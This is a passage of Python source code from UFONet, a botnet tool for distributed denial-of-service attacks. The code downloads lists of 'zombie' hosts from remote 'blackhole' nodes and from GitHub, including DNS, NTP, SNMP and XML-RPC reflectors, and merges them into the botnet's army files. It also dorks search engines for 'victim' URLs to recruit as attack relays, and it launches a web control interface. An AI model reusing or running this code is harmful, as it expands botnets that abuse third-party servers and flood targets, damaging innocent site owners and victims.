fz = open(self.rpcs_file)
rpcs = fz.readlines()
fz.close()
for reflector in reflectors:
reflector = reflector.replace('\n','')
if reflector not in rpcs:
rpcs_ready.append(reflector)
else:
pass
self.update_rpcs(rpcs_ready)
os.remove('botnet/reflectors.txt')
dnss_ready = []
f = open('botnet/crystals.txt')
crystals = f.readlines()
f.close()
fz = open(self.dnss_file)
dnss = fz.readlines()
fz.close()
for crystal in crystals:
crystal = crystal.replace('\n','')
if crystal not in dnss:
dnss_ready.append(crystal)
else:
pass
self.update_dnss(dnss_ready)
os.remove('botnet/crystals.txt')
ntps_ready = []
f = open('botnet/warps.txt')
warps = f.readlines()
f.close()
fz = open(self.ntps_file)
ntps = fz.readlines()
fz.close()
for warp in warps:
warp = warp.replace('\n','')
if warp not in ntps:
ntps_ready.append(warp)
else:
pass
self.update_ntps(ntps_ready)
os.remove('botnet/warps.txt')
snmps_ready = []
f = open('botnet/bosons.txt')
bosons = f.readlines()
f.close()
fz = open(self.snmps_file)
snmps = fz.readlines()
fz.close()
for boson in bosons:
boson = boson.replace('\n','')
if boson not in snmps:
snmps_ready.append(boson)
else:
pass
self.update_snmps(snmps_ready)
os.remove('botnet/bosons.txt')
print("\n[Info] [AI] Botnet updated! -> ;-)")
self.update_transferred_stats(self.trans_zombies)
if not self.options.forceyes:
print('-'*25 + "\n")
update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
print("\n[AI] "+self.exit_msg+"\n")
return
else:
try:
update_gui = self.update_gui_data()
except:
print('-'*25 +"\n")
print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
print('-'*25)
print("\n[AI] "+self.exit_msg+"\n")
return
def downloading_nodes_list(self):
from io import BytesIO
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
n = open(self.globalnet_file, 'r')
nodes = n.readlines()
n.close()
if not nodes:
print("[AI] [Control] Not any [Nodes] present in your [Radar]... [Exiting!]\n")
return
globalnet_list = []
if self.options.timeout:
try:
timeout = int(self.options.timeout)
except:
timeout = 5
else:
timeout = 5
if timeout < 1:
timeout = 5
if self.options.proxy:
self.proxy_transport(self.options.proxy)
globalnet_ip_list = []
for m in nodes:
m = m.replace('\n','')
if self.globalnet_msg_sep in m:
m = m.split(self.globalnet_msg_sep)
enc_globalnet_owner = m[0]
enc_globalnet_comment = m[1]
enc_globalnet_warp = m[2]
enc_globalnet_ip = m[3]
self.decrypt(self.crypto_key, enc_globalnet_ip)
if self.decryptedtext:
globalnet_ip = self.decryptedtext
if globalnet_ip not in globalnet_ip_list:
globalnet_ip_list.append(globalnet_ip)
else:
return
self.decryptedtext = ""
print("[AI] Trying [Radar] [Blackhole] [Node]:", globalnet_ip, "\n")
if self.options.forcessl:
if self.options.proxy:
self.proxy_transport(options.proxy)
try:
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
abductions_reply = ""
try:
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
troops_reply = ""
try:
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
robots_reply = ""
try:
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
drones_reply = ""
try:
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
reflectors_reply = ""
try:
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
crystals_reply = ""
try:
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
warps_reply = ""
try:
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
bosons_reply = ""
else:
if self.options.proxy:
self.proxy_transport(options.proxy)
try:
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
abductions_reply = ""
try:
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
troops_reply = ""
try:
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
robots_reply = ""
try:
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
drones_reply = ""
try:
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
reflectors_reply = ""
try:
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
crystals_reply = ""
try:
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
warps_reply = ""
try:
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
bosons_reply = ""
if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX FAILED!]\n")
print("[AI] [Control] [Radar] [Blackhole] [Node] Action: [Removing!]")
print('-'*12 + '\n')
else:
print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX READY!] ;-)")
print('-'*12)
num_zombies = 0
if abductions_reply:
f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
f_out_abductions = open('botnet/abductions.txt', 'wb')
f_out_abductions.write(f_in_abductions.read())
f_in_abductions.close()
f_out_abductions.close()
with open('botnet/abductions.txt') as f:
for _ in f:
num_zombies = num_zombies + 1
print("\n[Info] [Radar] [Blackhole] Total [Zombies]: "+ str(num_zombies))
num_robots = 0
if robots_reply:
f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
f_out_robots = open('botnet/robots.txt', 'wb')
f_out_robots.write(f_in_robots.read())
f_in_robots.close()
f_out_robots.close()
with open('botnet/robots.txt') as f:
for _ in f:
num_robots = num_robots + 1
print("[Info] [Radar] [Blackhole] Total [Droids] : "+ str(num_robots))
num_aliens = 0
if troops_reply:
f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
f_out_troops = open('botnet/troops.txt', 'wb')
f_out_troops.write(f_in_troops.read())
f_in_troops.close()
f_out_troops.close()
with open('botnet/troops.txt') as f:
for _ in f:
num_aliens = num_aliens + 1
print("[Info] [Radar] [Blackhole] Total [Aliens] : "+ str(num_aliens))
num_drones = 0
if drones_reply:
f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
f_out_drones = open('botnet/drones.txt', 'wb')
f_out_drones.write(f_in_drones.read())
f_in_drones.close()
f_out_drones.close()
with open('botnet/drones.txt') as f:
for _ in f:
num_drones = num_drones + 1
print("[Info] [Radar] [Blackhole] Total [UCAVs] : "+ str(num_drones))
num_reflectors = 0
if reflectors_reply:
f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
f_out_reflectors = open('botnet/reflectors.txt', 'wb')
f_out_reflectors.write(f_in_reflectors.read())
f_in_reflectors.close()
f_out_reflectors.close()
with open('botnet/reflectors.txt') as f:
for _ in f:
num_reflectors = num_reflectors + 1
print("[Info] [Radar] [Blackhole] Total [X-RPCs] : "+ str(num_reflectors))
num_crystals = 1
if crystals_reply:
f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
f_out_crystals = open('botnet/crystals.txt', 'wb')
f_out_crystals.write(f_in_crystals.read())
f_in_crystals.close()
f_out_crystals.close()
with open('botnet/crystals.txt') as f:
for _ in f:
num_crystals = num_crystals + 1
print("[Info] [Radar] [Blackhole] Total [NTPs] : "+ str(num_crystals))
num_warps = 1
if warps_reply:
f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
f_out_warps = open('botnet/warps.txt', 'wb')
f_out_warps.write(f_in_warps.read())
f_in_warps.close()
f_out_warps.close()
with open('botnet/warps.txt') as f:
for _ in f:
num_warps = num_warps + 1
print("[Info] [Radar] [Blackhole] Total [DNSs] : "+ str(num_warps))
num_bosons = 0
if bosons_reply:
f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
f_out_bosons = open('botnet/bosons.txt', 'wb')
f_out_bosons.write(f_in_bosons.read())
f_in_bosons.close()
f_out_bosons.close()
with open('botnet/bosons.txt') as f:
for _ in f:
num_bosons = num_bosons + 1
print("[Info] [Radar] [Blackhole] Total [SNMPs] : "+ str(num_bosons))
print('-'*12 + '\n')
zombies = self.extract_zombies()
if not zombies:
return
zombies_added = 0
if os.path.isfile('botnet/abductions.txt'):
f = open('botnet/abductions.txt')
abductions = f.readlines()
abductions = [abduction.strip() for abduction in abductions]
f.close()
fz = open(self.zombies_file)
zombies = fz.readlines()
zombies = [zombie.strip() for zombie in zombies]
fz.close()
az = open('botnet/zombies.txt', 'a')
for abduction in abductions:
if abduction not in zombies:
zombies_added = zombies_added + 1
az.write(abduction+os.linesep)
else:
pass
az.close()
os.remove('botnet/abductions.txt')
print("[Info] [Radar] [Blackhole] Added [Zombies]: " + str(zombies_added))
droids = self.extract_droids()
if not droids:
return
droids_added = 0
if os.path.isfile('botnet/robots.txt'):
f = open('botnet/robots.txt')
robots = f.readlines()
robots = [robot.strip() for robot in robots]
f.close()
fz = open(self.droids_file)
droids = fz.readlines()
droids = [droid.strip() for droid in droids]
fz.close()
ad = open('botnet/droids.txt', 'a')
for robot in robots:
if robot not in droids:
droids_added = droids_added + 1
ad.write(robot+os.linesep)
else:
pass
ad.close()
os.remove('botnet/robots.txt')
print("[Info] [Radar] [Blackhole] Added [Droids] : " + str(droids_added))
aliens = self.extract_aliens()
if not aliens:
return
aliens_added = 0
if os.path.isfile('botnet/troops.txt'):
f = open('botnet/troops.txt')
troops = f.readlines()
troops = [troop.strip() for troop in troops]
f.close()
fz = open(self.aliens_file)
aliens = fz.readlines()
aliens = [alien.strip() for alien in aliens]
fz.close()
at = open('botnet/aliens.txt', 'a')
for troop in troops:
if troop not in aliens:
aliens_added = aliens_added + 1
at.write(troop+os.linesep)
else:
pass
at.close()
os.remove('botnet/troops.txt')
print("[Info] [Radar] [Blackhole] Added [Aliens] : " + str(aliens_added))
ucavs = self.extract_ucavs()
if not ucavs:
return
ucavs_added = 0
if os.path.isfile('botnet/drones.txt'):
f = open('botnet/drones.txt')
drones = f.readlines()
drones = [drone.strip() for drone in drones]
f.close()
fz = open(self.ucavs_file)
ucavs = fz.readlines()
ucavs = [ucav.strip() for ucav in ucavs]
fz.close()
au = open('botnet/ucavs.txt', 'a')
for drone in drones:
if drone not in ucavs:
ucavs_added = ucavs_added + 1
au.write(drone+os.linesep)
else:
pass
au.close()
os.remove('botnet/drones.txt')
print("[Info] [Radar] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
rpcs = self.extract_rpcs()
if not rpcs:
return
rpcs_added = 0
if os.path.isfile('botnet/reflectors.txt'):
f = open('botnet/reflectors.txt')
reflectors = f.readlines()
reflectors = [reflector.strip() for reflector in reflectors]
f.close()
fz = open(self.rpcs_file)
rpcs = fz.readlines()
rpcs = [rpc.strip() for rpc in rpcs]
fz.close()
ar = open('botnet/rpcs.txt', 'a')
for reflector in reflectors:
if reflector not in rpcs:
rpcs_added = rpcs_added + 1
ar.write(reflector+os.linesep)
else:
pass
ar.close()
os.remove('botnet/reflectors.txt')
print("[Info] [Radar] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
ntps = self.extract_ntps()
if not ntps:
return
ntps_added = 0
if os.path.isfile('botnet/crystals.txt'):
f = open('botnet/crystals.txt')
crystals = f.readlines()
crystals = [crystal.strip() for crystal in crystals]
f.close()
fz = open(self.ntps_file)
ntps = fz.readlines()
ntps = [ntp.strip() for ntp in ntps]
fz.close()
an = open('botnet/ntp.txt', 'a')
for crystal in crystals:
if crystal not in ntps:
ntps_added = ntps_added + 1
an.write(crystal+os.linesep)
else:
pass
an.close()
os.remove('botnet/crystals.txt')
print("[Info] [Radar] [Blackhole] Added [NTPs] : " + str(ntps_added))
dnss = self.extract_dnss()
if not dnss:
return
dnss_added = 0
if os.path.isfile('botnet/warps.txt'):
f = open('botnet/warps.txt')
warps = f.readlines()
warps = [warp.strip() for warp in warps]
f.close()
fz = open(self.dnss_file)
dnss = fz.readlines()
dnss = [dns.strip() for dns in dnss]
fz.close()
ad = open('botnet/dns.txt', 'a')
for warp in warps:
if warp not in dnss:
dnss_added = dnss_added + 1
ad.write(warp+os.linesep)
else:
pass
ad.close()
os.remove('botnet/warps.txt')
print("[Info] [Radar] [Blackhole] Added [DNSs] : " + str(dnss_added))
snmps = self.extract_snmps()
if not snmps:
return
snmps_added = 0
if os.path.isfile('botnet/bosons.txt'):
f = open('botnet/bosons.txt')
bosons = f.readlines()
bosons = [boson.strip() for boson in bosons]
f.close()
fz = open(self.snmps_file)
snmps = fz.readlines()
snmps = [snmp.strip() for snmp in snmps]
fz.close()
asn = open('botnet/snmp.txt', 'a')
for boson in bosons:
if boson not in snmps:
snmps_added = snmps_added + 1
asn.write(boson+os.linesep)
else:
pass
asn.close()
os.remove('botnet/bosons.txt')
print("[Info] [Radar] [Blackhole] Added [SNMPs] : " + str(snmps_added))
print('-'*12 + '\n')
if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0:
print("[AI] [Control] [Radar] [Blackhole] [Node] These [Zombies] are already in your [Army] -> [Passing!]")
print('-'*12 + '\n')
else:
total_zombies = zombies_added + aliens_added + droids_added + ucavs_added + rpcs_added + ntps_added + dnss_added + snmps_added
print("[Info] [AI] Congratulations!. Total [Zombies] added: " + str(total_zombies))
print('-'*12)
print("\n[Info] [AI] Botnet updated! -> ;-)\n")
self.update_transferred_stats(self.trans_zombies)
stream = str(enc_globalnet_owner)+self.globalnet_msg_sep+str(enc_globalnet_comment)+self.globalnet_msg_sep+str(enc_globalnet_warp)+self.globalnet_msg_sep+str(enc_globalnet_ip)
globalnet_list.append(stream+os.linesep)
print('='*22 + '\n')
if globalnet_list is not None:
f = open(self.globalnet_file, "w")
for node in globalnet_list:
f.write(node)
f.close()
def downloading_github_list(self):
try:
print("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n")
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
if self.options.timeout:
try:
timeout = int(self.options.timeout)
except:
timeout = 5
else:
timeout = 5
if timeout < 1:
timeout = 5
if self.options.proxy:
self.proxy_transport(self.options.proxy)
try:
req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
except:
zombies_reply = ""
try:
req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
except:
aliens_reply = ""
try:
req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
except:
dns_reply = ""
try:
req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
except:
droids_reply = ""
try:
req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
except:
rpcs_reply = ""
try:
req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
except:
ucavs_reply = ""
try:
req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
except:
ntp_reply = ""
try:
req = urllib.request.Request(self.github_zombies+'snmp.txt', None, headers)
snmp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
except:
snmp_reply = ""
if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "" and snmp_reply == "":
print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
print('-'*12 + '\n')
print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
return
f = open('botnet/abductions.txt', 'w')
f.write(zombies_reply)
f.close()
f = open('botnet/troops.txt', 'w')
f.write(aliens_reply)
f.close()
f = open('botnet/crystals.txt', 'w')
f.write(dns_reply)
f.close()
f = open('botnet/robots.txt', 'w')
f.write(droids_reply)
f.close()
f = open('botnet/drones.txt', 'w')
f.write(ucavs_reply)
f.close()
f = open('botnet/reflectors.txt', 'w')
f.write(rpcs_reply)
f.close()
f = open('botnet/warps.txt', 'w')
f.write(ntp_reply)
f.close()
f = open('botnet/bosons.txt', 'w')
f.write(snmp_reply)
f.close()
print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
except:
print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
print('-'*12 + '\n')
print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
return
print('-'*12 + '\n')
num_abductions = 0
with open('botnet/abductions.txt') as f:
for _ in f:
num_abductions = num_abductions + 1
print("[Info] Zombies: " + str(num_abductions))
num_troops = 0
with open('botnet/troops.txt') as f:
for _ in f:
num_troops = num_troops + 1
print("[Info] Aliens : " + str(num_troops))
num_robots = 0
with open('botnet/robots.txt') as f:
for _ in f:
num_robots = num_robots + 1
print("[Info] Droids : " + str(num_robots))
num_drones = 0
with open('botnet/drones.txt') as f:
for _ in f:
num_drones = num_drones + 1
print("[Info] UCAVs : " + str(num_drones))
num_reflectors = 0
with open('botnet/reflectors.txt') as f:
for _ in f:
num_reflectors = num_reflectors + 1
print("[Info] X-RPCs : " + str(num_reflectors))
num_crystals = 0
with open('botnet/crystals.txt') as f:
for _ in f:
num_crystals = num_crystals + 1
print("[Info] DNSs : " + str(num_crystals))
num_warps = 0
with open('botnet/warps.txt') as f:
for _ in f:
num_warps = num_warps + 1
print("[Info] NTPs : " + str(num_warps))
num_bosons = 0
with open('botnet/bosons.txt') as f:
for _ in f:
num_bosons = num_bosons + 1
print("[Info] SNMPs : " + str(num_bosons))
total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
print('-'*12)
if not self.options.forceyes:
update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
print('-'*25)
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
os.remove('botnet/abductions.txt')
os.remove('botnet/troops.txt')
os.remove('botnet/crystals.txt')
os.remove('botnet/robots.txt')
os.remove('botnet/drones.txt')
os.remove('botnet/reflectors.txt')
os.remove('botnet/warps.txt')
os.remove('botnet/bosons.txt')
print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
print('-'*25)
print("\n[AI] "+self.exit_msg+"\n")
else:
zombies_ready = []
f = open('botnet/abductions.txt')
abductions = f.readlines()
f.close()
fz = open(self.zombies_file)
zombies = fz.readlines()
fz.close()
for abduction in abductions:
abduction = abduction.replace('\n','')
if abduction not in zombies:
zombies_ready.append(abduction)
else:
pass
self.update_zombies(zombies_ready)
os.remove('botnet/abductions.txt')
aliens_ready = []
f = open('botnet/troops.txt')
troops = f.readlines()
f.close()
fz = open(self.aliens_file)
aliens = fz.readlines()
fz.close()
for alien in troops:
alien = alien.replace('\n','')
if alien not in aliens:
aliens_ready.append(alien)
else:
pass
self.update_aliens(aliens_ready)
os.remove('botnet/troops.txt')
dnss_ready = []
f = open('botnet/crystals.txt')
crystals = f.readlines()
f.close()
fz = open(self.dnss_file)
dnss = fz.readlines()
fz.close()
for crystal in crystals:
crystal = crystal.replace('\n','')
if crystal not in dnss:
dnss_ready.append(crystal)
else:
pass
self.update_dnss(dnss_ready)
os.remove('botnet/crystals.txt')
droids_ready = []
f = open('botnet/robots.txt')
robots = f.readlines()
f.close()
fz = open(self.droids_file)
droids = fz.readlines()
fz.close()
for droid in robots:
droid = droid.replace('\n','')
if droid not in droids:
droids_ready.append(droid)
else:
pass
self.update_droids(droids_ready)
os.remove('botnet/robots.txt')
ucavs_ready = []
f = open('botnet/drones.txt')
drones = f.readlines()
f.close()
fz = open(self.ucavs_file)
ucavs = fz.readlines()
fz.close()
for drone in drones:
drone = drone.replace('\n','')
if drone not in ucavs:
ucavs_ready.append(drone)
else:
pass
self.update_ucavs(ucavs_ready)
os.remove('botnet/drones.txt')
rpcs_ready = []
f = open('botnet/reflectors.txt')
reflectors = f.readlines()
f.close()
fz = open(self.rpcs_file)
rpcs = fz.readlines()
fz.close()
for reflector in reflectors:
reflector = reflector.replace('\n','')
if reflector not in rpcs:
rpcs_ready.append(reflector)
else:
pass
self.update_rpcs(rpcs_ready)
os.remove('botnet/reflectors.txt')
ntps_ready = []
f = open('botnet/warps.txt')
warps = f.readlines()
f.close()
fz = open(self.ntps_file)
ntps = fz.readlines()
fz.close()
for warp in warps:
warp = warp.replace('\n','')
if warp not in ntps:
ntps_ready.append(warp)
else:
pass
self.update_ntps(ntps_ready)
os.remove('botnet/warps.txt')
snmps_ready = []
f = open('botnet/bosons.txt')
bosons = f.readlines()
f.close()
fz = open(self.snmps_file)
snmps = fz.readlines()
fz.close()
for boson in bosons:
boson = boson.replace('\n','')
if boson not in snmps:
snmps_ready.append(boson)
else:
pass
self.update_snmps(snmps_ready)
os.remove('botnet/bosons.txt')
print("\n[Info] [AI] Botnet updated! -> ;-)")
self.update_transferred_stats(self.trans_zombies)
if not self.options.forceyes:
print('-'*25 + "\n")
update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
print("\n[AI] "+self.exit_msg+"\n")
return
else:
try:
update_gui = self.update_gui_data()
except:
print('-'*25 +"\n")
print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
print('-'*25)
print("\n[AI] "+self.exit_msg+"\n")
return
def uploading_github_list(self):
print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
print(" 3. Share your updates in the #UFONet 'motherships'...\n")
print('='*22 + '\n')
print("[AI] "+self.exit_msg+"\n")
def create_web_interface(self):
from .webgui import ClientThread
import webbrowser
host = '0.0.0.0'
port = 9999
try:
webbrowser.open('http://127.0.0.1:9999', new=1)
tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
tcpsock.bind((host,port))
while True:
tcpsock.listen(4)
(clientsock, (ip, port)) = tcpsock.accept()
newthread = ClientThread(ip, port, clientsock)
newthread.start()
except (KeyboardInterrupt, SystemExit):
sys.exit()
def extract_dorks(self):
try:
f = open(self.dorks_file)
dorks = f.readlines()
dorks = [ dork.replace('\n','') for dork in dorks ]
f.close()
if not dorks:
if not options.autosearch:
print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
return
else:
return dorks
except:
if not options.autosearch:
if os.path.exists(self.dorks_file) == True:
print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
return
else:
print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
return
else:
return
def search_zombies(self, dork, zombies_found):
options = self.options
zombies = []
if not options.engine:
options.engine = 'duck'
if options.engine == 'bing':
url = 'https://www.bing.com/search?'
if options.search:
q = 'instreamset:(url):"' + str(options.search) + '"'
if options.dorks or options.autosearch:
q = 'instreamset:(url):"' + str(dork) + '"'
start = 0
query_string = { 'q':q, 'first':start }
data = urllib.parse.urlencode(query_string)
url = url + data
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
if options.num_results:
try:
num_results = int(options.num_results)
except:
print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
num_results = 10
else:
num_results = 10
if options.verbose:
print("[Info] [AI] [DORKING] Query used: " + url + " (POST: "+ data + ")")
print("[Info] [AI] [DORKING] Max results: " +str(num_results)+"\n")
try:
if options.proxy:
self.proxy_transport(options.proxy)
req = urllib.request.Request(url, None, headers)
req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
except:
print('[Error] [AI] Unable to connect to: bing\n')
if options.allengines or options.autosearch:
return
if not options.dorks or not options.autosearch:
if not self.options.forceyes:
update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
return
print("\nSearch engines available:")
print('-'*25)
for e in self.search_engines:
print("+ "+e)
print('-'*25)
print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
return
else:
req_reply = ''
regex = '</a></div><h2><a href="(.+?)">'
pattern = re.compile(regex)
url_links = re.findall(pattern, req_reply)
elif options.engine == 'duck':
url = 'https://duckduckgo.com/html/'
if options.search:
q = 'instreamset:(url):"' + str(options.search) + '"'
if options.dorks or options.autosearch:
q = 'instreamset:(url):"' + str(dork) + '"'
query_string = { 'q':q }
data = urllib.parse.urlencode(query_string)
from duckduckgo_search import DDGS
if options.num_results:
try:
num_results = int(options.num_results)
except:
print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
num_results = 10
else:
num_results = 10
if options.verbose:
print("[Info] [AI] [DORKING] Query used: " + url + " (POST: "+ data + ")")
print("[Info] [AI] [DORKING] Max results: " +str(num_results)+"\n")
try:
if options.proxy:
self.proxy_transport(options.proxy)
req_reply = DDGS().text(data, safesearch='Off', max_results=num_results)
except:
print('[Error] [AI] Unable to connect to: duck\n')
if options.allengines or options.autosearch:
return
if not options.dorks or not options.autosearch:
if not self.options.forceyes:
update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
return
print("\nSearch engines available:")
print('-'*25)
for e in self.search_engines:
print("+ "+e)
print('-'*25)
print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
return
else:
req_reply = ''
url_links = []
for url_reply in req_reply:
for key,value in url_reply.items():
if key == "href":
url_links.append(value)
else:
print('[Error] [AI] This search engine is not supported!\n')
if not options.dorks or options.autosearch:
if not self.options.forceyes:
update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
return
print("\nSearch engines available:")
print('-'*25)
for e in self.search_engines:
print("+ "+e)
print('-'*25)
print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
return
else:
req_reply = ''
if options.num_results:
try:
num = int(options.num_results)
except:
print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
num = 10
else:
num = 10
total_results = 1
for url in url_links:
if int(num) < int(total_results):
break
if options.engine == "bing":
if " h=" in url:
url = url.rsplit('" h=',1)[0]
total_results = total_results + 1
url_link = urllib.parse.unquote(url)
if options.search:
sep = str(options.search)
if options.dorks or options.autosearch:
sep = str(dork)
url_link = url_link.rsplit(sep, 1)[0] + sep
if 'href="' in url_link:
url_link = url_link.rsplit('href="', 1)[1]
if "instreamset" in url_link:
url_link = ""
if '" ' in url_link:
url_link = url_link.rsplit('" ', 1)[1]
if options.engine in url_link:
url_link = ""
if 'http' not in url_link:
url_link = ""
else:
if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link != "":
print('+Victim found: ' + url_link)
zombies.append(url_link)
else:
pass
if len(zombies) == 0:
print("[Info] [AI] NOT any NEW victim(s) found for this query!\n")
if not options.dorks:
if not options.autosearch:
if not self.options.forceyes:
return
self.total_possible_zombies = self.total_possible_zombies + len(zombies)
print("")
return zombies
def check_nat(self):
options = self.options
tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8')
your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
check_ip_service = None
if not tor_reply or 'Congratulations' not in tor_reply:
print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
else:
